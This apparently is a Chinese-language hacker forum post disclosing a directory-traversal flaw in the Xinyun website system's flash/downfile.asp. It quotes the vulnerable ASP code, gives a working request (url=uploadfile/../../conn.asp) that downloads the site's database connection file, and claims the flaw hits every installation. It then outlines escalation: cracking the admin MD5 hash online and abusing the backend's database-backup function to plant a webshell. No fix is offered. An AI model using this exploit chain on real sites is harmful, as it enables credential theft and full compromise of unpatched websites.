|
|
|
最近用新云网站系统帮老师改个网站,于是代码也看了好久,碰巧也发现了个漏洞,发出来看看·~~~~<br/>问题出现在flash/downfile.asp上,大家先看看代码<br/><%<br/>Dim url,strUrl,strPath<br/>url = Replace(Replace(Replace(Request("url"), "'", ""), "%", ""), "\", "/")<br/>//首先先进行一些字符的替换,'换成空,%也换成空,\换成/<br/><br/>If Len(url) > 3 Then<br/> If Left(url,1) = "/" Then<br/> Response.Redirect url //如果用户提交的url第一个字符是/,那直接转向url<br/> End If<br/> If Left(url,3) = "../" Then<br/> Response.Redirect url //同上,意思就是不给你用../跳转目录<br/> End If<br/> strUrl = Left(url,10)<br/> If InStr(strUrl, "://") > 0 Then //这个,汗·~~://不懂干什么用的<br/> Response.Redirect url<br/> End If<br/> If InStr(url, "/") > 0 Then<br/> strPath = Server.MapPath(".") & "\" & url //补充物理地址了<br/> strPath = Replace(strPath, "/", "\") //替换/为\呢<br/> Call downThisFile(strPath) //HOHO~~开始下载了<br/> Else<br/> Response.Redirect url<br/> End If<br/>End If<br/><br/>Sub downThisFile(thePath)<br/> Response.Clear<br/> On Error Resume Next<br/> Dim stream, fileName, fileContentType<br/> <br/> fileName = split(thePath,"\")(UBound(split(thePath,"\")))<br/> Set stream = Server.CreateObject("adodb.stream")<br/> stream.Open<br/> stream.Type = 1<br/> stream.LoadFromFile(thePath)<br/> Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName<br/> Response.AddHeader "Content-Length", stream.Size<br/> Response.Charset = "UTF-8"<br/> Response.ContentType = "application/octet-stream"<br/> Response.BinaryWrite stream.Read <br/> Response.Flush<br/> stream.Close<br/> Set stream = Nothing<br/>End Sub<br/>%><br/><br/>似乎是url都处理掉了,是不可能用../跳转目录的。但是,他判断../很奇怪,就判断url的前三个字符而已。所以,嘿嘿!前三个字符不能是../,难道我后面不能是吗?于是构造一下url参数为"uploadfile/../../conn.asp",于是总体的地址就是http://127.0.0.1/flash/downfile.asp?url=uploadfile/../../conn.asp。嘿嘿~~conn.asp文件下载下来了吧。<br/>这套整站程序用的人还是挺多的,我甚至看到有两个黑客类的网站使用它。但是不约而同的是这个漏洞都存在。可以说,这个漏洞是通杀现在网上所有使用新云的系统的,连10.18出来的sp1都没补上。但是,很多大站都是使用sql版本的,而且主机又屏蔽了1433端口,于是,利用就成了问题。对于access的系统,只要后台没改名,而且md5密码可以通过www.cmd5.com来查询,后台又有着数据库备份的功能,获得webshell是不成问题的。 |
|